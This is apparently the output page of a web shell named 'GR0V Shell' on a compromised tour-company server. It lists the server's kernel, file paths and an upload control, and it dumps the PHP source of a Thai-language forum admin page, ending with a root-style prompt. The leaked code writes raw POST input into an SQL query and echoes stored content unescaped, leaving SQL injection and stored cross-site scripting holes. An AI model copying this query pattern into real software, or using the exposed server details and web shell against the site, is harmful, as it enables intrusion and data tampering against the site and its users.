? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/gift.php

<? include("head.php");?>
        <td width="555" valign="top">
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="shortcut icon" type="../editor/image/x-icon" href="../favicon.ico">
<link rel="stylesheet" type="text/css" href="../editor/styles.css" />
    <link rel="stylesheet" type="text/css" href="../editor/jquery.cleditor.css" />
    <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
    <script type="text/javascript" src="../editor/jquery.cleditor.min.js"></script>

    <script type="text/javascript">
      $(document).ready(function() {
        $("#input").cleditor({width:700, height:1000})[0].focus();
      });
    </script>
   
     <div class=mainPanel>
      <div class=leftPanel>
     <script language="JavaScript">
function checkpost()
{
      var v1 = document.webForm.topic.value;
      var v2 = document.webForm.message.value;
	  var v3 = document.webForm.name.value;
	  var v4 = document.webForm.textcode.value;
  if( v1.length==0)
           {
           alert("กรุณาระบุหัวข้อกระทู้ของคุณด้วยค่ะ");
           document.webForm.topic.focus();           
           return false;
           }
	else if ( v2.length==0)
           {
           alert("กรุณาระบุข้อความด้วยค่ะ");
           document.webForm.message.focus();           
           return false;
           }
 else if ( v3.length==0)
           {
           alert("กรุณาระบุ ชื่อผู้ตั้งด้วยค่ะ");
           document.webForm.name.focus();           
           return false;
           }
   	else if ( v4.length==0)
           {
           alert("กรุณาระบุ Text Code ด้วยค่ะ");
           document.webForm.textcode.focus();           
           return false;
           }
         else
           return true;
}

				  	function chkEmail(){
					if(document.webForm.email.value!=""){
						if (document.webForm.email.value.match(/.+@.+\..+/) == null) {
							alert("กรุณากรอก E-Mail ให้ถูกต้อง");
							document.webForm.email.focus();
						  }
						}  
					}

function check_number(ch){
var len, digit;
if(ch == " "){ 
return false;
len=0;
}else{
len = ch.length;
}
for(var i=0 ; i<len ; i++)
{
digit = ch.charAt(i)
if(digit >="0" && digit <="9"){
; 
}else{
return false; 
} 
} 
return true;
}


function checkvalue()
{
if(!check_number(document.webForm.phone.value) || document.webForm.phone.value == "" )
{
alert('กรุณากรอกหมายเลขโทรศัพท์เป็นตัวเลขเท่านั้นค่ะ');
document.webForm.phone.focus();    
return false;
}
else{return true;}
}
</script> <? if($_POST[Submit] == "ตกลง"){
if( $_POST[input] != ""){
$sql11="update gift set g_detail='$_POST[input]' where g_id=1";
mysql_query($sql11);
 echo '<script> alert("เรียบร้อย");</script>';
}else{ echo '<script> alert("ล้างค่า");</script>';
}}
$sql="select * from gift";
$re=mysql_query($sql);
$n=mysql_fetch_array($re);
?>   
<br />
<form id="form2" name="form2" method="post" action="">
        <table width="80%" border="0">
          
          <tr>
            <td>  <textarea id="input" name="input" ><? echo $n[g_detail];?></textarea></td>
          </tr>
          <tr>
            <td><label>
              <input type="submit" name="Submit" id="Submit" value="ตกลง" />
              <input type="reset" name="reset" id="reset" value="เริ่มใหม่" />
            </label></td>
          </tr>
        </table>
        <table width="41%" border="0" cellspacing="3" cellpadding="3">
          <tr>
            <td width="49%" background="images/bg.jpg"><div align="center"><a href="index.php">หัวข้อทั้งหมด</a></div></td>
            <td width="51%" background="images/bg.jpg"><div align="center"><a href="NewTopic.php">เริ่มหัวข้อใหม่</a></div></td>
          </tr>
        </table>
        <div align="center"></div>
        <table width="52%" border="0" align="center" cellpadding="1" cellspacing="1" class="taladcr">
          <tr>
            <td colspan="2"><div align="center">กรุณาใส่ให้ครบตามที่เครื่องหมาย <strong>*</strong> ระบุ</div></td>
          </tr>
          <tr>
            <td colspan="2" bgcolor="#FFCCFF"><span class="style1"> รายละเอียด</span></td>
          </tr>
          <tr>
            <td colspan="2"><div align="right"></div>
                <div align="left"> หัวข้อกระทู้ <br />
                    <input name="topic" type="text" id="topic" size="75" class="inputxx" />
                    <strong>*</strong> </div></td>
          </tr>
          <tr>
            <td colspan="2"><div align="right"></div>
                
              รายละเอียด <br />
                                                          <textarea name="message" cols="65" rows="15"  class="input" id="textarea"></textarea>
                                                          <strong>*</strong> </td>
          </tr>
          <tr>
            <td colspan="2"><div align="right"></div>
              ชื่อผู้ตั้ง <br />
              <input name="name" type="text"  class="inputxx" id="name2" size="25" />
              <strong>*</strong> </td>
          </tr>
          <tr>
            <td colspan="2"><div align="right"></div>
              โทรศัพท์ <br />
              <input name="phone" type="text" class="inputxx" id="phone" size="30" / onblur="checkvalue()" />
            </td>
          </tr>
          <tr>
            <td colspan="2"><div align="right"></div>
              Email <br />
              <input name="email" type="text" id="email4" value="" size="30" / onblur="chkEmail()" class="inputxx" />
            </td>
          </tr>
          <tr>
            <td width="19%">&nbsp;</td>
            <td width="81%"><? 
require_once "token.php";
$code = randomToken(5);
echo "<b>$code</b>"; 
?>
                <input name="code" type="hidden" class="td3" id="code" size="8" value="<? echo "$code"; ?>" />
                <input name="textcode" type="text"  class="inputxx" id="textcode" size="8" maxlength="5" />
                <em>** 
                  ใส่อักษร 5 ตัวที่ท่านเห็น 
                  ** </em><em><strong>*</strong></em></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><input name="submit" type="submit" class="submitxx" value="ตั้งกระทู้!" />
            </td>
          </tr>
        </table>
</form>
      
    
     
      
      </div>
     </div>
        </td>
     <? include("foot.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$